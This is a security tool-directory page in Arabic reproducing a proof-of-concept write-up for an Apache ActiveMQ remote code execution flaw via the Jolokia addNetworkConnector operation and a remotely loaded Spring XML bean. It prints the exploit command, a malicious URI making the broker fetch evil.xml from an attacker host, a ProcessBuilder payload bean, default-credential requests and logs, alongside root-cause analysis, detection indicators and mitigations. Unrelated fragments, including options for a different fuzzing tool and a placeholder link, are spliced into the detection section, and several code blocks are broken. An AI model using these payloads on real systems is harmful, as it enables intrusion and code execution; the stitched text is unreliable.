Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-34197 — إثبات مفهوم لاستغلال ثغرة CVE-2026-34197، يوضح تنفيذ تعليمات برمجية عن بعد مُصادق عليه في Apache ActiveMQ عبر جسر Jolokia JMX-HTTP وحقن الفول XML في Spring. | Kitploit
أدوات/GitHubGitHub/lat-06/cve-2026-34197
التحليل الديناميكي (عزل)تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHublat-06/cve-2026-34197

CVE-2026-34197

إثبات مفهوم لاستغلال ثغرة CVE-2026-34197، يوضح تنفيذ تعليمات برمجية عن بعد مُصادق عليه في Apache ActiveMQ عبر جسر Jolokia JMX-HTTP وحقن الفول XML في Spring.

عرض المستودع
3منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-34197

الوصف
استدخال إدخال غير صحيح، التحكم غير الصحيح في إنشاء الكود (ثغرة إدخال الكود) في Apache ActiveMQ Broker، Apache ActiveMQ. يعرض Apache ActiveMQ Classic جسر Jolokia JMX-HTTP في /api/jolokia/ على وحدة التحكم الويب. سياسة الوصول الافتراضية لـ Jolokia تسمح بعمليات exec على جميع MBeans الخاصة بـ ActiveMQ (org.apache.activemq:*)، بما في ذلك BrokerService.addNetworkConnector(String) و BrokerService.addConnector(String). يمكن للمهاجم المصادق عليه استدعاء هذه العمليات باستخدام URI اكتشاف معدل يقوم بتشغيل معامل brokerConfig لموصل VM لتحميل سياق تطبيق Spring XML عن بعد باستخدام ResourceXmlApplicationContext. نظرًا لأن ResourceXmlApplicationContext من Spring يقوم بإنشاء جميع الفاصوليات المفردة قبل أن يقوم BrokerService بالتحقق من صحة التكوين، يحدث تنفيذ كود عشوائي على JVM الخاص بالوسيط من خلال طرق مصنع الفاصوليا مثل Runtime.exec(). تؤثر هذه المشكلة على Apache ActiveMQ Broker: قبل 5.19.4، من 6.0.0 قبل 6.2.3؛ Apache ActiveMQ All: قبل 5.19.4، من 6.0.0 قبل 6.2.3؛ Apache ActiveMQ: قبل 5.19.4، من 6.0.0 قبل 6.2.3. يُنصح المستخدمون بالترقية إلى الإصدار 5.19.4 أو 6.2.3 الذي يصلح المشكلة

مزيد من المعلومات في: رابط

مرحلة الاستغلال

المرجع

Github: رابط```bash ❯ docker compose up -d

root@kitploit:~
## إخلاء المسؤولية

هذا المشروع مخصص للأغراض التعليمية فقط. المؤلف غير مسؤول عن أي إساءة استخدام لهذه الأداة.

يجب ألا تستخدم هذه الأداة على أي نظام أو شبكة دون إذن صريح من المالك.

استخدم على مسؤوليتك الخاصة.

---```bash
❯ python3 exploit_poc.py auto \
    --target http://localhost:8161 \
    --lhost 192.168.1.32 --lport 9999 \
    --cmd "touch /tmp/blahblah.txt"

======================================================================
  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
  For authorized security testing and research only.
======================================================================

[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
  "request": {
    "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
    "arguments": [
      "static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
    ],
    "type": "exec",
    "operation": "addNetworkConnector(java.lang.String)"
  },
  "value": "NC",
  "timestamp": 1775616523,
  "status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.

مع LHOST هو عنوان IP الخاص على الكمبيوتر. يمكنك استخدام ipconfig على ويندوز أو ifconfig على لينكس

التحقق من RCE```bash ❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K drwxrwxrwt 1 root root 4.0K May 18 04:01 . drwxr-xr-x 1 root root 4.0K May 18 03:40 .. -rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

root@kitploit:~
=> نجاح استغلال الثغرة عن بُعد (RCE)، تم إنشاء الملف `blahblah.txt` على النظام المستهدف.

# مرحلة التحليل
## التحليل الديناميكي```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
root@kitploit:~
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar

سجلات وقت التشغيل أكدت أيضًا أنه تم تمكين Jolokia وتعريضه من خلال وحدة تحكم الويب الخاصة بـ ActiveMQ:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/

root@kitploit:~
تحقق من الاتصال```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}

هذا يعني:

  • كان Jolokia قابلاً للوصول
  • نجحت المصادقة باستخدام بيانات الاعتماد الافتراضية
  • كان الهدف يشغّل ActiveMQ 5.18.6
  • قبل وكيل Jolokia الطلبات الموثقة

لقراءة السجلات```bash docker logs activemq-vuln > activemq-rce.log

root@kitploit:~
ثم grep عن السلسلة النظيفة```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
 INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
 WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)

بعد إرسال الحمولة```bash INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
هذا السطر مهم لأنه يؤكد أن عنوان URI الذي يتحكم فيه المهاجر تم توفيره عبر:```java
BrokerView.addNetworkConnector(String)

وصل إلى طبقة نقل VM دون تعقيم.

URI الخبيث المستخدم أثناء الاستغلال كان:```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

root@kitploit:~
يحتوي URI هذا على جزأين مهمين:

| المكون           | الغرض                                           |
| ---------------- | ----------------------------------------------- |
| `static:(...)`   | غلاف يستخدمه موصلات اكتشاف ActiveMQ             |
| `vm://evil?...`  | URI نقل VM تتم معالجته داخليًا بواسطة ActiveMQ  |

الغلاف `static:(...)` بحد ذاته ليس المكون الضعيف. الغرض منه هو تمرير URI النقل المغلف إلى نظام موصل الشبكة الخاص بـ ActiveMQ.

أثناء تنفيذ وقت التشغيل، استخرج ActiveMQ وعالج URI النقل VM الداخلي:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

تم تأكيد هذا السلوك في سجلات وقت التشغيل:```text INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
المعامل `brokerConfig=` هو الجزء الحاسم من الحمولة. لقد أمر طبقة نقل VM بإنشاء مثيل وسيط ديناميكيًا باستخدام تهيئة Spring xbean خارجية محملة من:```text
http://192.168.1.32:9999/evil.xml

لقد تسبب البادئة xbean: في تفويض ActiveMQ للمعالجة إلى مُحمل سياق تطبيق XML الخاص بـ Spring:```text org.apache.xbean.spring.context.ResourceXmlApplicationContext

root@kitploit:~
نتيجة لذلك، تم تحليل مستند XML البعيد وإنشاءه كسياق تطبيق Spring داخل JVM الوسيط.

يحتوي XML الضار على Spring bean التالي:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">

أمر تعريف الحبة هذا Spring بإنشاء كائن ProcessBuilder واستدعاء طريقته start() فورًا أثناء تهيئة سياق التطبيق.

استغل الهجوم الأمر التالي:```bash touch /tmp/blahblah.txt

root@kitploit:~
نظرًا لأن Spring يقوم بإنشاء مثيلات الفول الانفرادية (singleton beans) بشكل فوري أثناء تهيئة السياق، فإن طريقة `ProcessBuilder.start()` تم تنفيذها قبل أن يتحقق ActiveMQ مما إذا كان تكوين الوسيط نفسه آمنًا أو صالحًا.

أدى ذلك إلى تنفيذ أوامر عشوائية على الحاوية المستهدفة.

تم التحقق من الاستغلال عن طريق فحص الدليل `/tmp` داخل حاوية ActiveMQ:```bash
❯ docker exec -it activemq-vuln ls -lah /tmp

total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

أكدت بيانات الملف الوصفية تنفيذ الأمر بنجاح:```bash ❯ docker exec activemq-vuln stat /tmp/blahblah.txt

File: /tmp/blahblah.txt Size: 0 Uid: (0/root) Gid: (0/root) Birth: 2026-05-18 04:01:35

root@kitploit:~
هذا يثبت أنه تم تنفيذ أوامر نظام التشغيل التعسفية بنجاح داخل سياق حاوية ActiveMQ.

كما كشف تتبع المكدس في وقت التشغيل عن مسار التنفيذ الضعيف بالكامل:```text
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
XmlBeanDefinitionReader.loadBeanDefinitions()
  ->
Spring bean instantiation
  ->
ProcessBuilder.start()
  ->
OS command execution

تم ملاحظة الإدخالات التالية من تتبع المكدس أثناء تحليل وقت التشغيل:```text at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)

at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)

at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)

at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)

at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)

at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)

at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)

root@kitploit:~
من أهم الملاحظات أثناء التحليل الديناميكي كانت الترتيب الذي عالج به كل من Spring و ActiveMQ التهيئة الخبيثة.

بعد تنفيذ الحمولة بنجاح، قام ActiveMQ لاحقًا بإنشاء التحذير التالي:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml

يوضح هذا السلوك أن:```text Spring bean instantiation occurred before ActiveMQ validated the broker configuration.

root@kitploit:~
حتى وإن تم رفض تكوين الوسيط نفسه في النهاية، إلا أن حبة Spring الضارة قد تم بالفعل إنشاؤها وتنفيذها.

هذه المشكلة في الترتيب هي العيب المنطقي الأساسي وراء CVE-2026-34197.

حدد التحليل الديناميكي المكونات التالية المشاركة في سلسلة الاستغلال:

| المكون                     | الدور                               |
| ----------------------------- | ---------------------------------- |
| Jolokia                       | جسر HTTP إلى JMX                  |
| BrokerView                    | MBean إدارة مكشوف                 |
| VMTransportFactory            | يوزع URI النقل `vm://`          |
| BrokerFactory                 | ينشئ مثيل الوسيط                  |
| XBeanBrokerFactory            | يحمل تهيئة Spring xbean           |
| ResourceXmlApplicationContext | يحمل XML عن بُعد                  |
| XmlBeanDefinitionReader       | يوزع تعريفات حبوب Spring          |
| Spring BeanFactory            | ينشئ حبوبًا مفردة                 |
| ProcessBuilder                | ينفذ أوامر نظام التشغيل           |

يؤكد التحليل الديناميكي أن CVE-2026-34197 ناتج عن التفاعل بين:

* عمليات إدارة Jolokia المفرطة في السماح
* URIs النقل التي يتحكم فيها المهاجم
* الإنشاء التلقائي لوسيط نقل VM
* تحميل تهيئة Spring xbean عن بُعد
* إنشاء حبة مفردة مبكرًا قبل التحقق

نتيجة لذلك، يمكن للمهاجم الموثق تحقيق تنفيذ كود تعسفي على JVM ActiveMQ من خلال توفير URI ضار `brokerConfig=xbean:http://...` عبر عملية `addNetworkConnector()` المكشوفة بواسطة Jolokia.

### نظرة عامة على البنية

يعرض Apache ActiveMQ Classic واجهة إدارة من خلال جسر Jolokia JMX-HTTP المتاح في:```text id="n0vmrq"
/api/jolokia/

يعمل Jolokia كجسر بين HTTP و JMX، مما يسمح للمستخدمين المصادقين باستدعاء عمليات إدارة جافا (JMX) عن بُعد عبر HTTP.

مسار الهندسة الضعيفة الذي تم تحديده أثناء التحليل موضح أدناه:```text id="yavj0f" HTTP Request -> Jolokia Servlet -> JMX MBean Invocation -> BrokerView.addNetworkConnector() -> VMTransportFactory -> BrokerFactory -> XBeanBrokerFactory -> Spring ResourceXmlApplicationContext -> Spring Bean Instantiation -> OS Command Execution

root@kitploit:~
المكونات التالية كانت متورطة في سلسلة الاستغلال:

| المكون | الوظيفة |
| --------------------- | -------------------------------------------- |
| Jolokia | يعرض عمليات JMX عبر HTTP |
| BrokerView | واجهة MBean للإدارة |
| VMTransportFactory | يعالج URIs النقل من نوع `vm://` |
| BrokerFactory | ينشئ الوسطاء ديناميكيًا |
| XBeanBrokerFactory | يحمل تهيئات xbean من Spring |
| محمل سياق Spring | يوزع ويعرّف تعريفات XML للـ beans |
| ProcessBuilder | ينفذ أوامر نظام التشغيل |

تصبح البنية معرضة للخطر لأن ActiveMQ يسمح للمستخدمين الموثَّقين باستدعاء طرق إدارة الوسطاء الخطيرة باستخدام URIs نقل يتحكم فيها المهاجم.

---

### تحليل سطح الهجوم

سطح الهجوم الأساسي هو نقطة نهاية Jolokia HTTP المعروضة عبر وحدة تحكم الويب الخاصة بـ ActiveMQ:```text id="xq7vba"
http://<target>:8161/api/jolokia/

أكد التحليل أثناء التشغيل أن واجهة Jolokia كانت مفعلة افتراضيًا:```text id="y7qz5e" INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/

root@kitploit:~
لقد قبلت نقطة نهاية Jolokia الطلبات الموثقة باستخدام المصادقة الأساسية لـ HTTP:```json id="13tzmx"
"authMode":"basic"

تم الكشف عن عملية الإدارة الخطيرة التالية:```java id="pxqv10" BrokerView.addNetworkConnector(String)

root@kitploit:~
تقبل هذه الطريقة URI نقل يتحكم فيه المستخدم دون تقييد كافٍ لأنماط URI الخطيرة أو معلمات التهيئة.

قدم المهاجم الحمولة التالية:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

This payload abused several features simultaneously:

The attack surface therefore includes:

  • Jolokia HTTP API exposure
  • Weakly restricted JMX management operations
  • Dynamic transport URI parsing
  • External broker configuration loading
  • Spring xbean integration

Root Cause Analysis

The vulnerability is caused by the interaction between multiple trusted subsystems inside ActiveMQ.

The core issue is that authenticated Jolokia users are allowed to invoke dangerous broker management operations with attacker-controlled transport URIs.

The vulnerable execution flow identified during runtime analysis is:```text id="m57h1r" Jolokia -> BrokerView.addNetworkConnector() -> VMTransportFactory.doCompositeConnect() -> BrokerFactory.createBroker() -> XBeanBrokerFactory.createApplicationContext() -> ResourceXmlApplicationContext -> Spring bean instantiation

root@kitploit:~
المعلمة الحرجة هي:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml

يوجه هذه المعلمة طبقة نقل VM إلى إنشاء وسيط ديناميكيًا باستخدام تكوين Spring xbean خارجي.

أكدت الأدلة التالية في وقت التشغيل هذا السلوك:```text id="74y0rw" INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
ثم قام Spring بتحميل XML البعيد عبر:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext

احتوى XML الضار على:```xml id="y6jphd"

root@kitploit:~
أثناء تهيئة سياق تطبيق Spring، يتم إنشاء حبوب (beans) المفردة (singleton) بفورية. ونتيجة لذلك، تم تنفيذ طريقة `ProcessBuilder.start()` على الفور.

الخلل المنطقي الرئيسي هو أن إنشاء حبوب Spring حدث قبل أن يتحقق ActiveMQ مما إذا كانت تكوين البروكر نفسه آمنًا أو صالحًا.

تم إثبات هذا السلوك ديناميكيًا لأن:

1. أنشأ الحمولة الخبيثة `/tmp/blahblah.txt` بنجاح
2. رفض ActiveMQ لاحقًا تكوين البروكر بـ:```text id="6k1dwn"
The configuration has no BrokerService instance

هذا يوضح أن تنفيذ الكود حدث قبل اكتمال التحقق من الوسيط.


مؤشرات الاختراق (IOC) والكشف

تتضمن المؤشرات المحتملة للاختراق طلبات Jolokia المشبوهة التي تستهدف عمليات إدارة ActiveMQ.

عمليات Jolokia المشبوهة

ابحث عن الطلبات التي تستدعي:```text id="c56p2k" addNetworkConnector addConnector

root@kitploit:~
عبر:```text id="pt2n3d"
/api/jolokia/

أنماط URI المشبوهة

شظايا URI التالية هي مؤشرات قوية على محاولات الاستغلال:```text id="n9jlwm" vm:// brokerConfig= xbean: static:(

root@kitploit:~
مثال على حمولة خبيثة:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)

اتصالات HTTP الصادرة

قد يقوم الوسيط ببدء طلبات صادرة إلى بنية تحتية يتحكم بها المهاجم:```text id="f5g9kx" http://attacker/evil.xml

root@kitploit:~
يجب التحقيق في حركة HTTP الخارجة غير المتوقعة من broker JVM.

#### سجلات Runtime المشبوهة

رسائل runtime التالية مشبوهة:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil

1:1:1:1

لنحلل الخيارات:

  • 🔄 -i, --ignore-certificate - يتجاوز عمليات التحقق من الشهادة المقدمة من الخادم. استخدم هذا عند الاتصال بمضيفين يستخدمون شهادات موقعة ذاتياً. يخفف من أخطاء x509: certificate signed by unknown authority. شكراً لـ @tim2zg على المساهمة!
  • 🔎 --resolve - يعين النطاق إلى عنوان IP بأسلوب /etc/hosts، مفيد لاختبار الاختراق (fuzzing) للمضيفين الافتراضيين. يمكن استخدام عدة خيارات --resolve. يجب أن يكون التنسيق مثل ملف /etc/hosts الافتراضي (على سبيل المثال: domain.com:80:127.0.0.1). لدعم HTTPS، يجب تمرير النظام (scheme) مع العلم -u/--url.
  • 🧬 -H, --header - يعين ترويسة مخصصة. يمكن استخدام عدة -H. يجب أن يكون التنسيق Name: Value.
  • 🫥 --header-independent - يجعل جميع الترويسات المعرفة مستقلة. بشكل افتراضي، ستُضاف كل ترويسة معرفة إلى جميع الحمولات (payloads). إذا كنت تريدها فقط في حمولات محددة، يجب عليك تحديد الحمولة (الحمولات) التي تشملها الترويسة باستخدام . يمكنك فعل الشيء نفسه مع الأسماء المحددة باستخدام .
root@kitploit:~
- **اسم الأداة**: [ToolKit](https://github.com/example/toolkit) - مجموعة من الأدوات المساعدة للأمن.```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions

آثار نظام الملفات

ملفات غير متوقعة تحت:```text id="6x7qcm" /tmp/

root@kitploit:~
أو قد يشير تنفيذ عملية فرعية مشبوهة من JVM الخاص بـ ActiveMQ إلى استغلال ثغرة.

---

### تحليل التأثير

يسمح الاستغلال الناجح بتنفيذ تعليمات برمجية عن بُعد موثَّق داخل سياق JVM الخاص بـ ActiveMQ.

في البيئة التي تم تحليلها، تم تنفيذ أوامر نظام التشغيل بشكل اعتباطي بنجاح داخل الحاوية:```bash id="2hyz0w"
touch /tmp/blahblah.txt

النتيجة:```text id="rm2qfd" /tmp/blahblah.txt

root@kitploit:~
تم إنشاء الملف كالتالي:```text id="9phgkz"
Uid: (0/root)

يشير هذا إلى أن تنفيذ الأوامر تم بصلاحيات الجذر داخل الحاوية.

التأثير المحتمل يشمل:

تزداد خطورة الحالة بشكل كبير إذا:

  • تم تعريض Jolokia خارجيًا
  • ظلت بيانات الاعتماد الافتراضية مفعلة
  • تم تشغيل الحاويات بصلاحيات الجذر
  • كان للمضيفين الوسيطين وصول خارجي غير مقيد

التخفيف

الترقية إلى الإصدارات المُصلَحة

قم بترقية ActiveMQ Classic إلى:```text id="8w0j6k" 5.19.4 or later 6.2.3 or later

root@kitploit:~
#### تقييد الوصول إلى Jolokia

قم بتعطيل Jolokia إذا لم يكن مطلوبًا.

إذا كان يجب إبقاء Jolokia ممكّنًا:

* قيّد الوصول إلى شبكات الإدارة الموثوقة
* فرّض توثيقًا قويًا
* عطّل عمليات exec الخطيرة
* طبّق سياسات وصول Jolokia صارمة

#### إزالة بيانات الاعتماد الافتراضية

لا تستخدم:```text id="9mw1xv"
admin:admin

تقييد الوصول إلى الشبكة الصادرة

منع الوسيط (broker) من بدء اتصالات HTTP عشوائية صادرة.

يخفف ذلك من محاولات استرداد XML عن بُعد.

تعطيل الميزات الخطيرة

تقييد أو تعطيل:

  • إنشاء وسيط ديناميكي
  • استخدام نقل vm://
  • تحميل تكوين xbean: الخارجي

تشديد بيئة التشغيل

  • تشغيل الحاويات كمستخدمين غير جذر
  • تطبيق قيود على نظام الملفات
  • استخدام تجزئة الشبكة
  • مراقبة تنفيذ العمليات الفرعية لـ JVM

توصيات الكشف

مراقبة:

  • الطلبات إلى /api/jolokia/
  • استخدام addNetworkConnector
  • وسائط brokerConfig=
  • عناوين URI لنمط xbean:
  • طلبات HTTP صادرة من JVM الوسيط
  • عمليات فرعية غير متوقعة تم إنشاؤها بواسطة Java

التحليل الثابت

نظرة عامة على الكود المصدري

يمر المسار الضارب عبر طبقة إدارة الويب/JMX في ActiveMQ، وطبقة شبكات الوسيط، ونقل VM، ونظام مصنع الوسيط، وتحميل تكوين Spring XBean.

Jolokia مفعل في تطبيق واجهة برمجة تطبيقات الويب الخاص بـ ActiveMQ:```xml

jolokia-agent org.jolokia.http.AgentServlet ... jolokia-agent /jolokia/* ``` عند بدء تشغيل الوسيط، يقوم ActiveMQ بتسجيل `BrokerView` كـ MBean لإدارة الوسيط:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java protected void startManagementContext() throws Exception { getManagementContext().setBrokerName(brokerName); getManagementContext().start(); adminView = new BrokerView(this, null); ObjectName objectName = getBrokerObjectName(); AnnotatedMBean.registerMBean(getManagementContext(), adminView, objectName); } ``` يتم إنشاء اسم الكائن على النحو التالي:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName) throws MalformedObjectNameException { String objectNameStr = jmxDomainName + ":type=Broker,brokerName="; objectNameStr += JMXSupport.encodeObjectNamePart(brokerName); return new ObjectName(objectNameStr); } ``` في التوزيعة الافتراضية، يكشف هذا عن broker MBean كهدف Jolokia قابل للاستدعاء عبر HTTP مثل:```text org.apache.activemq:type=Broker,brokerName=localhost ``` مسؤوليات المكونات ذات الصلة هي:
  • BrokerView: واجهة إدارة وسيط موجهة لـ JMX. يعرض addNetworkConnector(String) و addConnector(String).
  • BrokerService: كائن وقت تشغيل الوسيط. يحول عنوان شبكة مكون من سلسلة نصية إلى URI وينشئ DiscoveryNetworkConnector.
  • DiscoveryNetworkConnector: يستخدم وكيل اكتشاف للحصول على عناوين URI لوسيط بعيد، ثم يتصل بكل URI مكتشف.
  • TransportFactory: يحول مخطط URI إلى مصنع نقل باستخدام META-INF/services/org/apache/activemq/transport/<scheme>.
  • VMTransportFactory: يتعامل مع النقل vm:// ويمكنه إنشاء وسيط مضمن تلقائياً عندما لا يكون وسيط VM المطلوب موجوداً.
  • BrokerFactory: يحول مخطط URI لتكوين الوسيط باستخدام .

توجد الثغرة لأن طريقة الإدارة تقبل لغة URI لـ ActiveMQ ليست بيانات سلبية. عندما يتم تقييم URI، يمكنه إنشاء وسطاء وتحميل تكوين Spring XML.


نقطة الدخول القابلة للاستغلال

نقطة الدخول القابلة للاستغلال هي:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java public String addNetworkConnector(String discoveryAddress) throws Exception { NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress); if (connector == null) { throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress); } brokerService.registerNetworkConnectorMBean(connector); connector.start(); return connector.getName(); }

root@kitploit:~
واجهة MBean تعرض العملية على النحو التالي:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;

المدخلات التي يتحكم بها المهاجم هي وسيطة exec الخاصة بـ Jolokia والتي تم تمريرها إلى discoveryAddress. في الإصدار الضعيف، لا تقوم BrokerView.addNetworkConnector() بإجراء أي التحقق من scheme، ولا التحقق من الـ URI المتداخل، ولا تصفية المعاملات الخاصة بالنقل قبل تمرير السلسلة إلى BrokerService.

